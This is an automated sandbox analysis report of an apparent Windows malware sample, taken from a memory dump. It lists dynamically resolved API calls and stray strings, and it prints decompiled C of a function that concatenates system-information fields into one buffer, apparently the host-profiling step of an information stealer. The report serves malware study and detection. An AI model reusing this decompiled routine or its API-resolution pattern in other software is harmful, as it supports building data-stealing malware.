0x0040cb0e
0x0040cb14
0x0040cb14
0x0040cb20
0x0040cb26
0x0040cb2d
0x0040cb3a
0x0040cb3f
0x0040cb45
0x0040cb52
0x0040cb57
0x0040cb5e
0x0040cb6a
0x0040cb6f
0x0040cb76
0x0040cb83
0x0040cb88
0x0040cb8e
0x0040cb9b
0x0040cba0
0x0040cba7
0x0040cbad
0x0040cbb3
0x0040cbb3
0x0040cbbf
0x0040cbc5
0x0040cbcc
0x0040cbd9
0x0040cbde
0x0040cbe4
0x0040cbf1
0x0040cbf6
0x0040cbfd
0x0040cc09
0x0040cc0e
0x0040cc15
0x0040cc22
0x0040cc27
0x0040cc2d
0x0040cc3a
0x0040cc3f
0x0040cc46
0x0040cc4c
0x0040cc52
0x0040cc52
0x0040cc5e
0x0040cc60
0x0040cc67
0x0040cc74
0x0040cc79
0x0040cc7f
0x0040cc8c
0x0040cc91
0x0040cc98
0x0040cc9e
0x0040cca4
0x0040cca4
0x0040ccb0
0x0040ccb2
0x0040ccb9
0x0040ccc6
0x0040cccb
0x0040ccd1
0x0040ccd8
0x0040ccde
0x0040ccde
0x0040ccea
0x0040ccf0
0x0040ccf7
0x0040cd03
0x0040cd08
0x0040cd0f
0x0040cd1c
0x0040cd21
0x0040cd27
0x0040cd34
0x0040cd39
0x0040cd40
0x0040cd4c
0x0040cd51
0x0040cd58
0x0040cd65
0x0040cd6a
0x0040cd70
0x0040cd7d
0x0040cd82
0x0040cd89
0x0040cd95
0x0040cd9a
0x0040cda1
0x0040cda8
0x0040cdae
0x0040cdae
0x0040cdba
0x0040cdbc
0x0040cdc2
0x0040cdcf
0x0040cdd4
0x0040cddb
0x0040cde1
0x0040cde7
0x0040cde7
0x0040cdf3
0x0040cdf5
0x0040cdfc
0x0040ce03
0x0040ce09
0x00000000
0x0040ce09
0x0040ce0f

APIs

GetProcAddress.KERNEL32(73B60000,00563148,?,004066CC), ref: 0040C0CD
GetProcAddress.KERNEL32(73B60000,005631D8,?,004066CC), ref: 0040C0E5
GetProcAddress.KERNEL32(73B60000,0055C2F8,?,004066CC), ref: 0040C0FE
GetProcAddress.KERNEL32(73B60000,00563118,?,004066CC), ref: 0040C116
GetProcAddress.KERNEL32(73B60000,00563130,?,004066CC), ref: 0040C12E
GetProcAddress.KERNEL32(73B60000,00563208,?,004066CC), ref: 0040C147
GetProcAddress.KERNEL32(73B60000,00563010,?,004066CC), ref: 0040C15F
GetProcAddress.KERNEL32(73B60000,005631C0,?,004066CC), ref: 0040C177
GetProcAddress.KERNEL32(73B60000,00563220,?,004066CC), ref: 0040C190
GetProcAddress.KERNEL32(73B60000,00562FC8,?,004066CC), ref: 0040C1A8
GetProcAddress.KERNEL32(73B60000,00563238,?,004066CC), ref: 0040C1C0
GetProcAddress.KERNEL32(73B60000,00562FF8,?,004066CC), ref: 0040C1D9
GetProcAddress.KERNEL32(73B60000,00563058,?,004066CC), ref: 0040C1F1
GetProcAddress.KERNEL32(73B60000,00563190,?,004066CC), ref: 0040C209
GetProcAddress.KERNEL32(73B60000,0055C198,?,004066CC), ref: 0040C222
GetProcAddress.KERNEL32(73B60000,00563070,?,004066CC), ref: 0040C23A
GetProcAddress.KERNEL32(73B60000,0055C178,?,004066CC), ref: 0040C252
GetProcAddress.KERNEL32(73B60000,0055F200,?,004066CC), ref: 0040C26B
GetProcAddress.KERNEL32(73B60000,005630A0,?,004066CC), ref: 0040C283
GetProcAddress.KERNEL32(73B60000,0055C218,?,004066CC), ref: 0040C29B
GetProcAddress.KERNEL32(73B60000,00563580,?,004066CC), ref: 0040C2B4
GetProcAddress.KERNEL32(73B60000,0055C1D8,?,004066CC), ref: 0040C2CC
GetProcAddress.KERNEL32(73B60000,0055C318,?,004066CC), ref: 0040C2E4
GetProcAddress.KERNEL32(73B60000,00563418,?,004066CC), ref: 0040C2FD
GetProcAddress.KERNEL32(73B60000,00563358,?,004066CC), ref: 0040C315
GetProcAddress.KERNEL32(73B60000,00563520,?,004066CC), ref: 0040C32D
GetProcAddress.KERNEL32(73B60000,005632B0,?,004066CC), ref: 0040C346
GetProcAddress.KERNEL32(73B60000,0055C118,?,004066CC), ref: 0040C35E
GetProcAddress.KERNEL32(73B60000,00563460,?,004066CC), ref: 0040C376
GetProcAddress.KERNEL32(73B60000,005632F8,?,004066CC), ref: 0040C38F
GetProcAddress.KERNEL32(73B60000,00563538,?,004066CC), ref: 0040C3A7
GetProcAddress.KERNEL32(73B60000,0055C1B8,?,004066CC), ref: 0040C3BF
GetProcAddress.KERNEL32(73B60000,00563550,?,004066CC), ref: 0040C3D8
GetProcAddress.KERNEL32(73B60000,00563400,?,004066CC), ref: 0040C3F0
GetProcAddress.KERNEL32(73B60000,00563430,?,004066CC), ref: 0040C408
GetProcAddress.KERNEL32(73B60000,005634C0,?,004066CC), ref: 0040C421
GetProcAddress.KERNEL32(73B60000,00563478,?,004066CC), ref: 0040C439
GetProcAddress.KERNEL32(73B60000,0055C1F8,?,004066CC), ref: 0040C451
GetProcAddress.KERNEL32(73B60000,0055C078,?,004066CC), ref: 0040C46A
GetProcAddress.KERNEL32(73B60000,00563568,?,004066CC), ref: 0040C482
GetProcAddress.KERNEL32(73B60000,00563448,?,004066CC), ref: 0040C49A
GetProcAddress.KERNEL32(73B60000,0055C098,?,004066CC), ref: 0040C4B3
GetProcAddress.KERNEL32(73B60000,0055F3E0,?,004066CC), ref: 0040C4CB
GetProcAddress.KERNEL32(73B60000,005633D0,?,004066CC), ref: 0040C4E3
GetProcAddress.KERNEL32(73B60000,005634D8,?,004066CC), ref: 0040C4FC
GetProcAddress.KERNEL32(73B60000,0055C338,?,004066CC), ref: 0040C514
GetProcAddress.KERNEL32(73B60000,0055C238,?,004066CC), ref: 0040C52C
GetProcAddress.KERNEL32(73B60000,0055C0D8,?,004066CC), ref: 0040C545
GetProcAddress.KERNEL32(73B60000,00563310,?,004066CC), ref: 0040C55D
GetProcAddress.KERNEL32(73B60000,0055C0F8,?,004066CC), ref: 0040C575
GetProcAddress.KERNEL32(73B60000,00563490,?,004066CC), ref: 0040C58E
GetProcAddress.KERNEL32(73B60000,0055C3F8,?,004066CC), ref: 0040C5A6
GetProcAddress.KERNEL32(73B60000,0055C138,?,004066CC), ref: 0040C5BE
GetProcAddress.KERNEL32(770B0000,00562C40,?,004066CC), ref: 0040C6C5
GetProcAddress.KERNEL32(6F6F0000,005634A8,?,004066CC), ref: 0040C6EB
GetProcAddress.KERNEL32(6F6F0000,0055C258,?,004066CC), ref: 0040C703
GetProcAddress.KERNEL32(6F6F0000,0055C158,?,004066CC), ref: 0040C71B
GetProcAddress.KERNEL32(6F6F0000,0055C278,?,004066CC), ref: 0040C734
GetProcAddress.KERNEL32(6F6F0000,005633B8,?,004066CC), ref: 0040C74C
GetProcAddress.KERNEL32(6F6F0000,0055C038,?,004066CC), ref: 0040C764
GetProcAddress.KERNEL32(6F6F0000,0055C358,?,004066CC), ref: 0040C77D
GetProcAddress.KERNEL32(6F6F0000,0055C378,?,004066CC), ref: 0040C795
GetProcAddress.KERNEL32(6F6F0000,0055C398,?,004066CC), ref: 0040C7AD
GetProcAddress.KERNEL32(745C0000,005634F0,?,004066CC), ref: 0040C7D3
GetProcAddress.KERNEL32(745C0000,00563298,?,004066CC), ref: 0040C7EB
GetProcAddress.KERNEL32(745C0000,0055C018,?,004066CC), ref: 0040C803
GetProcAddress.KERNEL32(745C0000,0055C2B8,?,004066CC), ref: 0040C81C
GetProcAddress.KERNEL32(745C0000,00563508,?,004066CC), ref: 0040C834
GetProcAddress.KERNEL32(745C0000,00562C00,?,004066CC), ref: 0040C84C
GetProcAddress.KERNEL32(745C0000,0055C2D8,?,004066CC), ref: 0040C865
GetProcAddress.KERNEL32(745C0000,0055C3B8,?,004066CC), ref: 0040C87D
GetProcAddress.KERNEL32(745C0000,00563340,?,004066CC), ref: 0040C895
GetProcAddress.KERNEL32(745C0000,00563328,?,004066CC), ref: 0040C8AE
GetProcAddress.KERNEL32(745C0000,005632C8,?,004066CC), ref: 0040C8C6
GetProcAddress.KERNEL32(73AE0000,005632E0,?,004066CC), ref: 0040C8E7
GetProcAddress.KERNEL32(73AE0000,0055C0B8,?,004066CC), ref: 0040C900
GetProcAddress.KERNEL32(73AE0000,005633E8,?,004066CC), ref: 0040C918
GetProcAddress.KERNEL32(73AE0000,0053A8E8,?,004066CC), ref: 0040C930
GetProcAddress.KERNEL32(73AE0000,00563370,?,004066CC), ref: 0040C949
GetProcAddress.KERNEL32(76990000,00563388,?,004066CC), ref: 0040C96E
GetProcAddress.KERNEL32(76990000,005633A0,?,004066CC), ref: 0040C986
GetProcAddress.KERNEL32(76990000,00563D40,?,004066CC), ref: 0040C99F
GetProcAddress.KERNEL32(76990000,00563E40,?,004066CC), ref: 0040C9B7
GetProcAddress.KERNEL32(76990000,005636A0,?,004066CC), ref: 0040C9CF
GetProcAddress.KERNEL32(76990000,00562C50,?,004066CC), ref: 0040C9E8
GetProcAddress.KERNEL32(76990000,00563700,?,004066CC), ref: 0040CA00
GetProcAddress.KERNEL32(76990000,00563718,?,004066CC), ref: 0040CA18
GetProcAddress.KERNEL32(76990000,005636B8,?,004066CC), ref: 0040CA31
GetProcAddress.KERNEL32(76990000,005635F8,?,004066CC), ref: 0040CA49
GetProcAddress.KERNEL32(76990000,00562BB0,?,004066CC), ref: 0040CA61
GetProcAddress.KERNEL32(76990000,00563E00,?,004066CC), ref: 0040CA7A
GetProcAddress.KERNEL32(76990000,00563598,?,004066CC), ref: 0040CA92
GetProcAddress.KERNEL32(76990000,00563748,?,004066CC), ref: 0040CAAA
GetProcAddress.KERNEL32(6ED70000,0055B170,?,004066CC), ref: 0040CACC
GetProcAddress.KERNEL32(76600000,00563EE0,?,004066CC), ref: 0040CAED
GetProcAddress.KERNEL32(76AE0000,00563CE0,?,004066CC), ref: 0040CB0E
GetProcAddress.KERNEL32(73870000,0055F2C8,?,004066CC), ref: 0040CB34
GetProcAddress.KERNEL32(73870000,00563D00,?,004066CC), ref: 0040CB4C
GetProcAddress.KERNEL32(73870000,0055F480,?,004066CC), ref: 0040CB64
GetProcAddress.KERNEL32(73870000,00563CC0,?,004066CC), ref: 0040CB7D
GetProcAddress.KERNEL32(73870000,0055F160,?,004066CC), ref: 0040CB95
GetProcAddress.KERNEL32(73870000,00563730,?,004066CC), ref: 0040CBAD
GetProcAddress.KERNEL32(6BC50000,005635B0,?,004066CC), ref: 0040CBD3
GetProcAddress.KERNEL32(6BC50000,005636D0,?,004066CC), ref: 0040CBEB
GetProcAddress.KERNEL32(6BC50000,00563BC0,?,004066CC), ref: 0040CC03
GetProcAddress.KERNEL32(6BC50000,00563F40,?,004066CC), ref: 0040CC1C
GetProcAddress.KERNEL32(6BC50000,00563E60,?,004066CC), ref: 0040CC34
GetProcAddress.KERNEL32(6BC50000,005635C8,?,004066CC), ref: 0040CC4C
GetProcAddress.KERNEL32(76550000,00563628,?,004066CC), ref: 0040CC6E
GetProcAddress.KERNEL32(76550000,00562BE0,?,004066CC), ref: 0040CC86
GetProcAddress.KERNEL32(76550000,005635E0,?,004066CC), ref: 0040CC9E
GetProcAddress.KERNEL32(750F0000,00563E80,?,004066CC), ref: 0040CCC0
GetProcAddress.KERNEL32(750F0000,00563610,?,004066CC), ref: 0040CCD8
GetProcAddress.KERNEL32(73130000,0055F390,?,004066CC), ref: 0040CCFD
GetProcAddress.KERNEL32(73130000,00563EC0,?,004066CC), ref: 0040CD16
GetProcAddress.KERNEL32(73130000,0055F1B0,?,004066CC), ref: 0040CD2E
GetProcAddress.KERNEL32(73130000,00563640,?,004066CC), ref: 0040CD46
GetProcAddress.KERNEL32(73130000,00563658,?,004066CC), ref: 0040CD5F
GetProcAddress.KERNEL32(73130000,00563C60,?,004066CC), ref: 0040CD77
GetProcAddress.KERNEL32(73130000,00563BA0,?,004066CC), ref: 0040CD8F
GetProcAddress.KERNEL32(73130000,00563670,?,004066CC), ref: 0040CDA8
GetProcAddress.KERNEL32(76610000,00563DA0,?,004066CC), ref: 0040CDC9
GetProcAddress.KERNEL32(76610000,00563D60,?,004066CC), ref: 0040CDE1
GetProcAddress.KERNEL32(6BD70000,005636E8,?,004066CC), ref: 0040CE03

Strings

5V, xrefs: 0040CC91
X6V, xrefs: 0040CD51
3V, xrefs: 0040C90B
(0V, xrefs: 0040C67A
<V, xrefs: 0040CB01
/V, xrefs: 0040C5C9
6V, xrefs: 0040CDF5
`1V, xrefs: 0040C610
`4V, xrefs: 0040C369
H4V, xrefs: 0040C48D
2V, xrefs: 0040C182
04V, xrefs: 0040C3FB
2V, xrefs: 0040C8DA
x1V, xrefs: 0040C68C
p0V, xrefs: 0040C22D
P5V, xrefs: 0040C3CA
+V, xrefs: 0040CC79
82V, xrefs: 0040C1B3
85V, xrefs: 0040C39A
`<V, xrefs: 0040CD6A
@,V, xrefs: 0040C6B8
`=V, xrefs: 0040CDD4
07V, xrefs: 0040CBA0
h2V, xrefs: 0040C633
(6V, xrefs: 0040CC60
@3V, xrefs: 0040C888
X0V, xrefs: 0040C1E4
@=V, xrefs: 0040C991
@6V, xrefs: 0040CD39
h5V, xrefs: 0040C475
H7V, xrefs: 0040CA9D
H1V, xrefs: 0040C0C0
0V, xrefs: 0040C622
X3V, xrefs: 0040C308
5V, xrefs: 0040C320
@>V, xrefs: 0040C9AA
01V, xrefs: 0040C121
P,V, xrefs: 0040C9DA
p6V, xrefs: 0040CD9A
@?V, xrefs: 0040CC0E
x4V, xrefs: 0040C42C
>V, xrefs: 0040CAE0
p3V, xrefs: 0040C93B
(3V, xrefs: 0040C8A0
`>V, xrefs: 0040CC27

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc
String ID: 2V$ 5V$(0V$(3V$(6V$01V$04V$07V$82V$85V$@,V$@3V$@6V$@=V$@>V$@?V$H1V$H4V$H7V$P,V$P5V$X0V$X3V$X6V$`1V$`4V$`<V$`=V$`>V$h2V$h5V$p0V$p3V$p6V$x1V$x4V$+V$/V$0V$2V$3V$5V$6V$<V$>V
API String ID: 190572456-3863974239
Opcode ID: 446bb386d00b3fc6fdaf793da8d8eebb1e64edf05bf55f2c12584ecfc14dca9d
Instruction ID: 1d70d232ba55cb9c008fbc595f3c5a6e1714110a256628337282a5c949275c85
Opcode Fuzzy Hash: 446bb386d00b3fc6fdaf793da8d8eebb1e64edf05bf55f2c12584ecfc14dca9d
Instruction Fuzzy Hash: 9E826DB5710210DFD364DFA8FD89A6637EAB74C3017908539A949C3272DB36A817CB6C

Uniqueness

Uniqueness Score: -1.00%

Function 00405320, Relevance: 119.3, APIs: 61, Strings: 7, Instructions: 315
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00405320(void* __ecx, void* __eflags, intOrPtr _a4) {
				CHAR* _v8;
				void* _t68;
				CHAR* _t69;
				CHAR* _t83;
				CHAR* _t86;
				CHAR* _t93;
				CHAR* _t102;
				CHAR* _t104;
				CHAR* _t115;
				CHAR* _t118;
				CHAR* _t120;
				CHAR* _t125;
				CHAR* _t145;
				CHAR* _t152;
				CHAR* _t158;
				CHAR* _t161;
				CHAR* _t163;
				CHAR* _t168;
				void* _t177;
				CHAR* _t188;
				CHAR* _t192;
				CHAR* _t196;
				CHAR* _t197;
				CHAR* _t198;
				CHAR* _t199;
				CHAR* _t203;
				CHAR* _t207;
				CHAR* _t212;
				CHAR* _t213;
				CHAR* _t214;
				CHAR* _t215;
				CHAR* _t219;
				CHAR* _t223;
				CHAR* _t230;
				CHAR* _t234;
				CHAR* _t238;
				intOrPtr _t240;

				_t68 = RtlAllocateHeap( *0x420200(__ecx), 0, 0xf423f); // executed
				_v8 = _t68;
				_t69 =  *0x41fe8c; // 0x55eae0
				lstrcatA(_v8, _t69);
				_t212 =  *0x41f9dc; // 0x55ea90
				lstrcatA(_v8, _t212);
				lstrcatA(_v8, "\n\n");
				_t213 =  *0x41fe6c; // 0x55eb40
				lstrcatA(_v8, _t213);
				lstrcatA(_v8, "\n");
				_t214 =  *0x41fcf0; // 0x55c5d8
				lstrcatA(_v8, _t214);
				lstrcatA(_v8, "\n\n");
				_t215 =  *0x41ff44; // 0x562950
				lstrcatA(_v8, _t215);
				_t83 = E0040B4F0( *0x420128()); // executed
				lstrcatA(_v8, _t83);
				lstrcatA(_v8, "\n\n");
				_t86 =  *0x41fd08; // 0x562788
				lstrcatA(_v8, _t86);
				lstrcatA(_v8, E0040A840());
				lstrcatA(_v8, "\n");
				_t188 =  *0x41f7f4; // 0x5628a8
				lstrcatA(_v8, _t188); // executed
				_t93 = E0040A8A0(); // executed
				lstrcatA(_v8, _t93);
				lstrcatA(_v8, "\n\n");
				_t219 =  *0x41f8ac; // 0x55c6b8
				lstrcatA(_v8, _t219);
				lstrcatA(_v8, E0040A940());
				lstrcatA(_v8, "\n");
				_t102 =  *0x41f7f0; // 0x55c4d8
				lstrcatA(_v8, _t102); // executed
				_t104 = E0040A980(); // executed
				lstrcatA(_v8, _t104);
				lstrcatA(_v8, "\n\n");
				_t192 =  *0x41fcac; // 0x562890
				lstrcatA(_v8, _t192);
				lstrcatA(_v8, E0040AAD0());
				lstrcatA(_v8, "\n");
				_t223 =  *0x41f914; // 0x5629b0
				lstrcatA(_v8, _t223); // executed
				_t115 = E0040AB00(); // executed
				lstrcatA(_v8, _t115);
				lstrcatA(_v8, "\n");
				_t118 =  *0x41fd2c; // 0x5628c0
				lstrcatA(_v8, _t118); // executed
				_t120 = E0040AB80(_v8); // executed
				lstrcatA(_v8, _t120);
				lstrcatA(_v8, "\n");
				_t196 =  *0x41fa54; // 0x562d10
				lstrcatA(_v8, _t196); // executed
				_t125 = E0040AC10(); // executed
				lstrcatA(_v8, _t125);
				_t197 =  *0x41f858; // 0x562c90
				lstrcatA(_v8, _t197);
				lstrcatA(_v8, E0040AC90(_t197));
				_t198 =  *0x41f8bc; // 0x562ba0
				lstrcatA(_v8, _t198);
				lstrcatA(_v8, "\n");
				_t199 =  *0x41ff40; // 0x5627a0
				lstrcatA(_v8, _t199);
				lstrcatA(_v8, E0040ACD0());
				lstrcatA(_v8, "\n");
				_t230 =  *0x41fbd0; // 0x55c4f8
				lstrcatA(_v8, _t230);
				lstrcatA(_v8, E0040AD00());
				lstrcatA(_v8, "\n\n");
				_t145 =  *0x41ff04; // 0x5627b8
				lstrcatA(_v8, _t145);
				lstrcatA(_v8, E0040A7B0());
				lstrcatA(_v8, "\n");
				_t203 =  *0x41fc50; // 0x562800
				lstrcatA(_v8, _t203); // executed
				_t152 = E0040A800(); // executed
				lstrcatA(_v8, _t152);
				lstrcatA(_v8, "\n");
				_t234 =  *0x41fb6c; // 0x5627e8
				_t51 =  &_v8; // 0x5627e8
				lstrcatA( *_t51, _t234); // executed
				_t158 = E0040AD70(); // executed
				lstrcatA(_v8, _t158);
				lstrcatA(_v8, "\n");
				_t161 =  *0x41fe68; // 0x562968
				_t54 =  &_v8; // 0x562968
				lstrcatA( *_t54, _t161); // executed
				_t163 = E0040ADC0(); // executed
				lstrcatA(_v8, _t163);
				lstrcatA(_v8, "\n");
				_t207 =  *0x41f824; // 0x562d20
				_t57 =  &_v8; // 0x562d20
				lstrcatA( *_t57, _t207); // executed
				_t168 = E0040AE40(); // executed
				lstrcatA(_v8, _t168);
				lstrcatA(_v8, "\n\n");
				_t238 =  *0x41fac8; // 0x55c518
				lstrcatA(_v8, _t238);
				lstrcatA(_v8, "\n");
				E0040AEB0(_v8); // executed
				_t177 =  *0x42009c(_v8);
				_t240 =  *0x41fe48; // 0x562998
				E004133B0(_a4, _t240, _v8, _t177);
				return E0040B2C0( &_v8, 4);
			}

0x00405332
0x00405338
0x0040533b
0x00405345
0x0040534b
0x00405356
0x00405365
0x0040536b
0x00405376
0x00405385
0x0040538b
0x00405396
0x004053a5
0x004053ab
0x004053b6
0x004053c3
0x004053d0
0x004053df
0x004053e5
0x004053ef
0x004053ff
0x0040540e
0x00405414
0x0040541f
0x00405425
0x0040542f
0x0040543e
0x00405444
0x0040544f
0x0040545f
0x0040546e
0x00405474
0x0040547e
0x00405484
0x0040548e
0x0040549d
0x004054a3
0x004054ae
0x004054be
0x004054cd
0x004054d3
0x004054de
0x004054e4
0x004054ee
0x004054fd
0x00405503
0x0040550d
0x00405513
0x0040551d
0x0040552c
0x00405532
0x0040553d
0x00405543
0x0040554d
0x00405553
0x0040555e
0x0040556e
0x00405574
0x0040557f
0x0040558e
0x00405594
0x0040559f
0x004055af
0x004055be
0x004055c4
0x004055cf
0x004055df
0x004055ee
0x004055f4
0x004055fe
0x0040560e
0x0040561d
0x00405623
0x0040562e
0x00405634
0x0040563e
0x0040564d
0x00405653
0x0040565a
0x0040565e
0x00405664
0x0040566e
0x0040567d
0x00405683
0x00405689
0x0040568d
0x00405693
0x0040569d
0x004056ac
0x004056b2
0x004056b9
0x004056bd
0x004056c3
0x004056cd
0x004056dc
0x004056e2
0x004056ed
0x004056fc
0x00405706
0x00405712
0x0040571d
0x00405728
0x0040573e

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405332
lstrcatA.KERNEL32(?,0055EAE0,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405345
lstrcatA.KERNEL32(?,0055EA90,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405356
lstrcatA.KERNEL32(?,0041D300,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405365
lstrcatA.KERNEL32(?,0055EB40,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405376
lstrcatA.KERNEL32(?,0041D304,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405385
lstrcatA.KERNEL32(?,0055C5D8,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405396
lstrcatA.KERNEL32(?,0041D300,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053A5
lstrcatA.KERNEL32(?,00562950,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053B6
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,00000104,?,00001388), ref: 004053D0
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 004053DF
lstrcatA.KERNEL32(00562788,00562788,?,?,?,?,00000104,?,00001388), ref: 004053EF

Part of subcall function 0040A840: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,004053FA,?,?,?,?,00000104,?,00001388), ref: 0040A854

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004053FF
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040540E
lstrcatA.KERNEL32(005628A8,005628A8,?,?,?,?,00000104,?,00001388), ref: 0040541F

Part of subcall function 0040A8A0: HeapAlloc.KERNEL32(00000000), ref: 0040A8B7
Part of subcall function 0040A8A0: _memset.LIBCMT ref: 0040A8DB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040542F
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 0040543E
lstrcatA.KERNEL32(0055C6B8,0055C6B8,?,?,?,?,00000104,?,00001388), ref: 0040544F
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040545F
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040546E
lstrcatA.KERNEL32(0055C4D8,0055C4D8,?,?,?,?,00000104,?,00001388), ref: 0040547E

Part of subcall function 0040A980: HeapAlloc.KERNEL32(00000000), ref: 0040A997
Part of subcall function 0040A980: LocalAlloc.KERNEL32(00000040,?), ref: 0040A9D0

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040548E
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 0040549D
lstrcatA.KERNEL32(00562890,00562890,?,?,?,?,00000104,?,00001388), ref: 004054AE
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004054BE
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004054CD
lstrcatA.KERNEL32(005629B0,005629B0,?,?,?,?,00000104,?,00001388), ref: 004054DE

Part of subcall function 0040AB00: HeapAlloc.KERNEL32(00000000), ref: 0040AB1B

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004054EE
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004054FD
lstrcatA.KERNEL32(005628C0,005628C0,?,?,?,?,00000104,?,00001388), ref: 0040550D

Part of subcall function 0040AB80: HeapAlloc.KERNEL32(00000000), ref: 0040AB94
Part of subcall function 0040AB80: __aulldiv.LIBCMT ref: 0040ABCF

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040551D
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040552C
lstrcatA.KERNEL32(00562D10,00562D10,?,?,?,?,00000104,?,00001388), ref: 0040553D

Part of subcall function 0040AC10: HeapAlloc.KERNEL32(00000000), ref: 0040AC2B

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040554D
lstrcatA.KERNEL32(00562C90,00562C90,?,?,?,?,00000104,?,00001388), ref: 0040555E

Part of subcall function 0040AC90: GetCurrentProcess.KERNEL32(00000000), ref: 0040AC9F

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040556E
lstrcatA.KERNEL32(00562BA0,00562BA0,?,?,?,?,00000104,?,00001388), ref: 0040557F
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040558E
lstrcatA.KERNEL32(005627A0,005627A0,?,?,?,?,00000104,?,00001388), ref: 0040559F
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004055AF
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004055BE
lstrcatA.KERNEL32(0055C4F8,0055C4F8,?,?,?,?,00000104,?,00001388), ref: 004055CF
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004055DF
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 004055EE
lstrcatA.KERNEL32(005627B8,005627B8,?,?,?,?,00000104,?,00001388), ref: 004055FE

Part of subcall function 0040A7B0: HeapAlloc.KERNEL32(00000000), ref: 0040A7C4

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040560E
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040561D
lstrcatA.KERNEL32(00562800,00562800,?,?,?,?,00000104,?,00001388), ref: 0040562E

Part of subcall function 0040A800: HeapAlloc.KERNEL32(00000000), ref: 0040A814

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040563E
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040564D
lstrcatA.KERNEL32('V,005627E8,?,?,?,?,00000104,?,00001388), ref: 0040565E
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040566E
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040567D
lstrcatA.KERNEL32('V,00562968,?,?,?,?,00000104,?,00001388), ref: 0040568D

Part of subcall function 0040ADC0: HeapAlloc.KERNEL32(00000000), ref: 0040ADDB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040569D
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004056AC
lstrcatA.KERNEL32('V,00562D20,?,?,?,?,00000104,?,00001388), ref: 004056BD

Part of subcall function 0040AE40: HeapAlloc.KERNEL32(00000000), ref: 0040AE62
Part of subcall function 0040AE40: lstrcatA.KERNEL32(?,?,?,00000000,00000004), ref: 0040AE89

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004056CD
lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 004056DC
lstrcatA.KERNEL32(0055C518,0055C518,?,?,?,?,00000104,?,00001388), ref: 004056ED
lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 004056FC

Strings

P)V, xrefs: 004053AB
'V, xrefs: 0040565A, 00405689, 004056B9, 0040565D, 0040568C, 004056BC
-V, xrefs: 004056B2
h)V, xrefs: 00405683
U, xrefs: 0040533B
@U, xrefs: 0040536B
'V, xrefs: 00405653

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocHeap$AllocateCurrentLocalProcess__aulldiv_memset
String ID: -V$@U$P)V$h)V$'V$'V$U
API String ID: 2146901975-4067771596
Opcode ID: 47af442c1ba4249cc9793e52cc4e2c12fab5d441cf2256c70d3189a78bfcc7db
Instruction ID: 72b409b3de4b5b58a11dcc845d9904b5e40b9ce59d5c9b381f3c2ee527ca2d09
Opcode Fuzzy Hash: 47af442c1ba4249cc9793e52cc4e2c12fab5d441cf2256c70d3189a78bfcc7db
Instruction Fuzzy Hash: 8BC104B6B00204FFC714DBE4DE4AE6E77B9AB5C3017648568F605D3261CB35AA12DB18

Uniqueness

Uniqueness Score: -1.00%

